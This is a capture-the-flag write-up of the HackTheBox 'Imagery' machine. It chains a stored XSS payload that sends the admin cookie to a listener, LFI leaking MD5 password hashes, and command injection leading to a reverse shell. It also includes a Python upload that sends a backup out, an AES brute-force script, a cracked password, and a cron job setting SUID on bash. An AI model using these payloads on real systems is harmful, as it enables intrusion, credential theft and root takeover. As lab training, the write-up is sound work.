Post

Imagery - HTB

Second machine of Season 9 GACHA HackTheBox.

Imagery - HTB

Machine Information

Machine InfoDetails
OSLinux
LevelMedium
Points30
AuthorNab6eel
IP Address10.129.78.89

Summary

Imagery is a medium-difficulty Linux machine that leverages a chain of web vulnerabilities and tool misconfigurations. Initial access is achieved via Stored XSS to steal an admin cookie, followed by LFI to leak a database file. Cracking MD5 hashes provides credentials for a Command Injection point in an image transformation feature, granting a reverse shell. After lateral movement to the user mark through an AES-encrypted backup brute-force, root is obtained by exploiting arbitrary command execution in a sudo-authorized backup utility (charcol) to set SUID permissions on Bash.

Enumeration

NMAP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
└─$ nmap -sC -sV 10.129.78.89 -oN nmap
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-28 17:54 +08
Nmap scan report for 10.129.78.89
Host is up (0.60s latency).
Not shown: 946 closed tcp ports (reset), 52 filtered tcp ports (no-response)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.7p1 Ubuntu 7ubuntu4.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 35:94:fb:70:36:1a:26:3c:a8:3c:5a:5a:e4:fb:8c:18 (ECDSA)
|_  256 c2:52:7c:42:61:ce:97:9d:12:d5:01:1c:ba:68:0f:fa (ED25519)
8000/tcp open  http    Werkzeug httpd 3.1.3 (Python 3.12.7)
|_http-title: Image Gallery
|_http-server-header: Werkzeug/3.1.3 Python/3.12.7
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 27.97 seconds
                                                                                                                                 
┌──(kali㉿kali)-[~/htb/machine/s9/imagery]
└─$ echo "10.129.78.89 imagery.htb" | sudo tee -a /etc/hosts    
[sudo] password for kali: 
10.129.78.89 imagery.htb
  • ssh and http port open.

Register an account. The site is image gallery where you can upload images.

Initial Access

Exploring the site reveals a “Report a Bug” feature in the footer. By testing this input field, we confirm it is vulnerable to Stored XSS. We can use a payload to exfiltrate the admin’s session cookie to our listener:

<img src=x onerror="document.location='http://10.129.78.89:80/?c='+document.cookie">

Using the captured cookie, we gain access to the /admin dashboard.

1
.eJw9jbEOgzAMRP_Fc4UEZcpER74iMolLLSUGxc6AEP-Ooqod793T3QmRdU94zBEcYL8M4RlHeADrK2YWcFYqteg571R0EzSW1RupVaUC7o1Jv8aPeQxhq2L_rkHBTO2irU6ccaVydB9b4LoBKrMv2w.aNp4EQ.qwZKnQLp5JoCxDC-TQAE6TJv0RA

Local File Inclusion (LFI)

Looking at the source code of the site, we can see an /admin/get_system_log?log_identifier= path. We can use the admin cookie to access this path.

By manipulating the log_identifier parameter, we discover an LFI vulnerability. With this we can enumerate the system files. Common Flask configuration file is /home/web/web/config.py looking at this file we can find a db.json file.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
{
    "users": [
        {
            "username": "admin@imagery.htb",
            "password": "5d9c1d507a3f76af1e5c97a3ad1eaa31",
            "isAdmin": true,
            "displayId": "a1b2c3d4",
            "login_attempts": 0,
            "isTestuser": false,
            "failed_login_attempts": 0,
            "locked_until": null
        },
        {
            "username": "testuser@imagery.htb",
            "password": "2c65c8d7bfbca32a3ed42596192384f6",
            "isAdmin": false,
            "displayId": "e5f6g7h8",
            "login_attempts": 0,
            "isTestuser": true,
            "failed_login_attempts": 0,
            "locked_until": null
        },
        {
            "username": "zoey@test.com",
            "password": "ce1e934d58bd543b59870a7bd5e815ef",
            "displayId": "d841536f",
            "isAdmin": false,
            "failed_login_attempts": 0,
            "locked_until": null,
            "isTestuser": false
        }
    ],

There is a testuser crack the MD5 password, then login as testuser.

Foothold

Command Injection

After exploring the features of the image gallery. There is a command injection vulnerability in transform image feature. Testing each endpoints of the POST /apply_visual_transform we find the command injection in x parameter. From here we can setup a reverse shell.

Lateral Movement: web to mark user

After gaining a Remote Code Execution, we can enumerate the system files as web user. In /var/backup/ we found an aes zip file. Transfer this file to our attacker machine.

local machine

1
pip3 install uploadserver python3 -m uploadserver
1
2
3
└─$ nc -lnvp 4444            
listening on [any] 4444 ...
connect to [10.10.16.2] from (UNKNOWN) [10.129.242.164] 51750

on web@Imagery shell

1
web@Imagery:~/var/backup$ python3 -c 'import requests;requests.post("http://10.10.x.x:8000/upload",files={"files":open("web_20250806_120723.zip.aes","rb")})'

The zip file is encrypted with AES, we can bruteforce this with simple python script.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#!/usr/bin/env python3
# aes_bruteforce.py
# Usage: python3 aes_bruteforce.py encrypted.aes /path/to/rockyou.txt output.zip

import sys, os
import pyAesCrypt

if len(sys.argv) != 4:
    print("Usage: {} <encrypted.aes> <wordlist> <output.zip>".format(sys.argv[0]))
    sys.exit(2)

enc = sys.argv[1]
wordlist = sys.argv[2]
out = sys.argv[3]
bufferSize = 64 * 1024   # default used by pyAesCrypt

if not os.path.exists(enc):
    print("Encrypted file not found:", enc); sys.exit(1)
if not os.path.exists(wordlist):
    print("Wordlist not found:", wordlist); sys.exit(1)

tmp_out = out + ".tmp"

with open(wordlist, 'r', errors='ignore') as f:
    for i, line in enumerate(f, start=1):
        pw = line.rstrip('\n\r')
        if pw == "":
            continue
        try:
            pyAesCrypt.decryptFile(enc, tmp_out, pw, bufferSize)
            # success
            os.rename(tmp_out, out)
            print("[+] SUCCESS password:", pw)
            print("[+] Decrypted file written to:", out)
            sys.exit(0)
        except Exception:
            # wrong password or format; cleanup and continue
            if os.path.exists(tmp_out):
                os.remove(tmp_out)
        if i % 10000 == 0:
            print("[*] tried", i, "passwords; last:", pw)

print("[-] Exhausted wordlist; no password found.")
sys.exit(1)
1
./brute.py web_20250806_120723.zip.aes /usr/share/wordlists/rockyou.txt web_20250806_120723.zip

there is another db.json file. Here we can see other user mark. Crack the password again then login as mark.

1
2
3
4
5
web@Imagery:~/web$ su - mark
su - mark
Password: supersmash
ls
user.txt

Privilege Escalation

Checking sudo privileges

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
sudo /usr/local/bin/charcol help                                
usage: charcol.py [--quiet] [-R] {shell,help} ...

Charcol: A CLI tool to create encrypted backup zip files.

positional arguments:
  {shell,help}          Available commands
    shell               Enter an interactive Charcol shell.
    help                Show help message for Charcol or a specific command.

options:
  --quiet               Suppress all informational output, showing only
                        warnings and errors.
  -R, --reset-password-to-default
                        Reset application password to default (requires system
                        password verification).

Run charcol shell.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
charcol> help
 Automated Jobs (Cron):
    auto add --schedule "<cron_schedule>" --command "<shell_command>" --name "<job_name>" [--log-output <log_file>]
      Purpose: Add a new automated cron job managed by Charcol.
      Verification:
        - If '--app-password' is set (status 1): Requires Charcol application password (via global --app-password flag).
        - If 'no password' mode is set (status 2): Requires system password verification (in interactive shell).
      Security Warning: Charcol does NOT validate the safety of the --command. Use absolute paths.
      Examples:
        - Status 1 (encrypted app password), cron:
          CHARCOL_NON_INTERACTIVE=true charcol --app-password <app_password> auto add \
          --schedule "0 2 * * *" --command "charcol backup -i /home/user/docs -p <file_password>" \
          --name "Daily Docs Backup" --log-output <log_file_path>
        - Status 2 (no app password), cron, unencrypted backup:
          CHARCOL_NON_INTERACTIVE=true charcol auto add \
          --schedule "0 2 * * *" --command "charcol backup -i /home/user/docs" \
          --name "Daily Docs Backup" --log-output <log_file_path>
        - Status 2 (no app password), interactive:
          auto add --schedule "0 2 * * *" --command "charcol backup -i /home/user/docs" \
          --name "Daily Docs Backup" --log-output <log_file_path>
          (will prompt for system password)

Key finding: auto add allows Arbitrary Code Execution with --command. Theres no validation said in help Security Warning: Charcol does NOT validate the safety of the --command. Use absolute paths., you can enter any command you like. With this we can leverage the set the SUID on bash binary, when this command executes it will run with owner permission which is root. Or setup a reverse shell.

1
charcol> auto add --schedule "* * * * *" --command "chmod +s /usr/bin/bash" --name "privesc"

Root Flag Obtained

This post is licensed under CC BY 4.0 by the author.